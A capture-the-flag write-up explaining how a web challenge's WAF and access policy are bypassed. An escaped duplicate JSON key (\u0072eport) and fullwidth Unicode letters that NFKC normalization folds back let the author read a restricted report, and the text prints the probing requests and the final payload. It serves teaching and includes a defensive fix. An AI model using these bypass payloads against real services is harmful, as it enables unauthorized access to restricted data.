Hey Everyone, this one is the wildest web challenge I tackled at IEEE VICTORIS CTF 26 Qualifications, and I got the first blood on it. Only 2 solves across the whole competition. The entire kill chain boils down to one idea: make every layer of the backend see a different version of the same bytes. Let’s goooo
This one was built as an anti-AI challenge, so it threw human verification at us constantly, a gate with a real CAPTCHA that had to be solved by hand every few minutes. Once past it, the Canon Export Console lives at https://165.227.130.95:65123/. We start as a demo tenant viewer, and our target is a restricted compliance report, prime/audit-final — one we are definitely not supposed to read.
The intended chain is:
- Pass the
/gate/checkpoint. - Learn the report model from
/docs/, including the=public/monthlycanonical path contradiction. - Discover the WAF reads raw bytes and ignores escaped keys.
- Smuggle our secret under the escaped
\u0072eportkey. - Fat-letter the
prime/audit-finalpath so the Policy doesn’t recognize it, while the Archive Resolver NFKC-normalizes it back to the real restricted path. - Download the job and grab the flag.
The Checkpoint Gate#
Opening the URL redirects to /gate/. The page has a 6-character image CAPTCHA:
Successful verification returns our session. Once checkpoint, the session carries the grant automatically for every route after.
Console Discovery#
The console is a client-side React app. Reading its source reveals the real API surface:
GET /api/reports
POST /api/v1/exportAnd here is the critical part, the console sends the export request like this:
fetch('/api/v1/export', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-Auth': token },
body: bodyString
})What does this mean?
The browser does not parse or canonicalize the body before sending. Whatever text we put in bodyString goes to the server byte-for-byte. Duplicate keys, weird escaping, Unicode nonsense, all of it arrives verbatim. The WAF and the backend each get the exact same raw bytes and have to decide what they mean. On their own. Differently.
The dashboard lists five backend services:
API Gateway | Policy Engine | Capability Service | Report Compiler | Archive Resolver | WAFMultiple parsers, one input. This is going to be a parser-differential game.
After going to console, you will see that you need another human verification:
then sending a request to see the response:
Exploring the Docs#
The console exposes /docs/files/. The useful ones:
overview.md -> you are demo tenant, viewer role, public exports only
reports.md -> restricted report = prime/audit-final
exporting.md -> the export API and canonical pathsreports.md tells us exactly what to steal and why the normal request fails:
Restricted reports belong to privileged tenants and roles and are not listed for standard accounts. The compliance export
prime/audit-final, for example, is restricted.
Also, /api/reports lists five reports but only 3 are public:
{"reports":["board-notes","inventory","monthly","press-kit","sales"]}board-notes and press-kit are drafts. If you export them they literally say:
Board-Notes (INTERNAL DRAFT)
Visibility: public (draft)
Release authorization (draft, non-binding): IEEE{F21B-BF7D-E8EE-1972}Both flags are labeled draft and non-binding. They are fake flags btw, let’s continue.
Now exporting.md gives the normal flow:
{"tenant":"demo","report":"monthly","scope":"public"}
-> {"job_id":"job_xxx","ok":true}
-> GET /api/v1/export/job_xxx -> "Monthly Activity Report..."Plus canonical paths:
{ "tenant": "demo", "report": "monthly", "scope": "public" }
{ "tenant": "demo", "report": "=public/monthly", "scope": "public" }These two requests resolve to the same report. Canonical paths take the form
=<tenant>/<report>.
This is the hint.
- The doc says the path form is
=<tenant>/<report>. - But the example is
=public/monthlywith an outertenantofdemo. publicis not a tenant. It’s a visibility scope.
What does this mean?
The value inside =... is NOT derived from the tenant field. They are read by different parts of the system:
- The Policy reads
tenant,report,scopeand asks: “isdemo+publicallowed?” -> Yes. - The Archive Resolver reads only the
=...address and asks: “does this file exist?” -> fetchespublic/monthly.
Nobody reconciles them. So the seed of the attack is: tell the Policy what it wants to hear (demo/public) and give the Resolver a completely different address (=prime/audit-final). Cross-tenant read.
Now let’s actually try to give the Resolver the secret.
Mapping the WAF#
Direct restricted request:
{"tenant":"prime","report":"audit-final","scope":"restricted"}
-> {"ok":false,"stage":"waf","code":"WAF_BLOCKED"}So we start probing what the WAF does and does not block:
prime, PRIME, primex, audit-final, restricted -> WAF_BLOCKED (substring + case-insensitive)
pr\u0069me, audit-f\u0069nal, prime\u002f... -> WAF_BLOCKED (it decodes \u IN VALUES)What does this mean?
- The WAF is a blacklist with substring matching, case-insensitive.
- It decodes Unicode escapes in values before matching. So encoding the secret value is dead.
So every sensitive value is only blocked when it sits in its normal field.
The Duplicate Key Differential#
Now let’s test what happens with duplicate keys. Safe value first:
{"tenant":"demo","tenant":"prime","report":"monthly","report":"audit-final","scope":"public","scope":"restricted"}
-> report_not_availableRestricted value first:
{"tenant":"prime","tenant":"demo",...}
-> WAF_BLOCKEDWhat does this mean?
The WAF effectively reads the first occurrence of an exact key. It sees demo / monthly / public and approves.
But downstream detects the duplicates and rejects:
{"report":"monthly","report":"monthly","scope":"public"} -> report_not_available
{"report":"monthly","Report":"monthly","scope":"public"} -> report_not_availableSo exact duplicates and case-colliding keys are both flagged downstream. Dead end? Not yet.
Then the key test. Escaped key:
{"tenant":"demo","report":"monthly","\u0072eport":"sales","scope":"public"}
-> JOB with SALES !!What does this mean?
\u0072eportin raw bytes is NOT the exact string"report", so the WAF’s raw scan ignores it.- But any real JSON parser decodes
\u0072tor-> key becomesreport-> now there are tworeportkeys -> last-wins -> the value issales. THIS help here - And no duplicate-rejection fires, because the duplicate only exists after decoding, not in the raw text.
This is the JSON parser differential. The same bytes are:
- For the WAF: a weird key it ignores.
- For the parser: literally the key
report, overwriting the safe value.
Now we can smuggle a second interpretation of report past the WAF.
Policy Knows ASCII. So Hide With Fat Letters.#
Put the canonical path in the smuggler:
{"tenant":"demo","report":"monthly","\u0072eport":"=prime/audit-final","scope":"public"}
-> report_not_availableWAF passed, but Policy drew the line: it recognizes the ASCII canonical path =prime/audit-final as restricted and declines it. Traversal and encoding tricks all fail too (=public/../prime..., %2e%2e, case, spaces, null bytes).
The missing primitive turned out to be Unicode compatibility normalization. Full-width letters look like normal letters but have different code points:
normal: prime
fullwidth: primeThe positive control, with a report we can verify:
{"tenant":"demo","report":"monthly","\u0072eport":"=public/monthly","scope":"public"}
-> JOB with the real public "Monthly Activity Report"!=public/monthly resolved to =public/monthly.
This proves the Archive Resolver applies NFKC (fullwidth public -> public), while the Policy does not. Two components, two normalization behaviors — exactly the asymmetry we need.
The Final Payload#
{"tenant":"demo","report":"monthly","\u0072eport":"=prime/audit-final","scope":"public","format":"pdf"}Those are fullwidth letters: prime/audit-final, not ASCII prime/audit-final. Send this verbatim as the raw JSON body (never let json.dumps re-escape it).
Got this technique from this.
Why it works:
| Layer | It does | It sees | Verdict |
|---|---|---|---|
| WAF | raw text scan | "report":"monthly" safe; "\u0072eport" looks like a weird key | pass |
| Parser/Policy | real JSON decode | decodes key to report, last-wins -> =prime/audit-final (unknown spelling, not restricted) | allow |
| Archive Resolver | NFKC normalize, fetch | NFKC(fullwidth) == =prime/audit-final | fetches restricted archive |
JUST READ IT AND DONE.
The Takeaway#
This whole challenge is one idea: the WAF does not speak JSON. It matches raw bytes with regexes. Every real parser decodes escapes and normalizes Unicode. When a request crosses several parsers verbatim, the same bytes can mean demo/monthly to one component and prime/audit-final to another. The fix that would kill this entire class is the same everywhere, parse once and validate on the canonical form (this is what WAFFLED’s HTTP-Normalizer and every “fail on duplicate keys” parser policy are about).
Resources#
- Split-Brain JSON: exploiting duplicate-key (first-wins/last-wins) parser disagreements for privilege escalation — https://medium.com/@pratikdahal777/split-brain-json-exploiting-parser-disagreement-across-validation-boundaries-for-privilege-be3a038d8722
- Intigriti July 2026 CTF “Canonically Yours” — duplicate JSON key confusion to bypass namespace restrictions — https://medium.com/@zabedullahpoyel/intigriti-july-2026-ctf-write-up-exploiting-json-parser-differential-duplicate-key-confusion-to-29b94d6001e4
- WAFFLED: exploiting parsing discrepancies to bypass WAFs (JSON/XML/multipart) — https://arxiv.org/html/2503.10846
- HackTricks - Unicode Normalization (NFKC/NFKD folding fullwidth into ASCII) — https://hacktricks.wiki/en/pentesting-web/unicode-injection/unicode-normalization.html
- Jorge Lajara - WAF Bypassing with Unicode Compatibility — https://jlajara.gitlab.io/posts/waf-bypassing-with-unicode-compatibility/
Happy Hacking :)




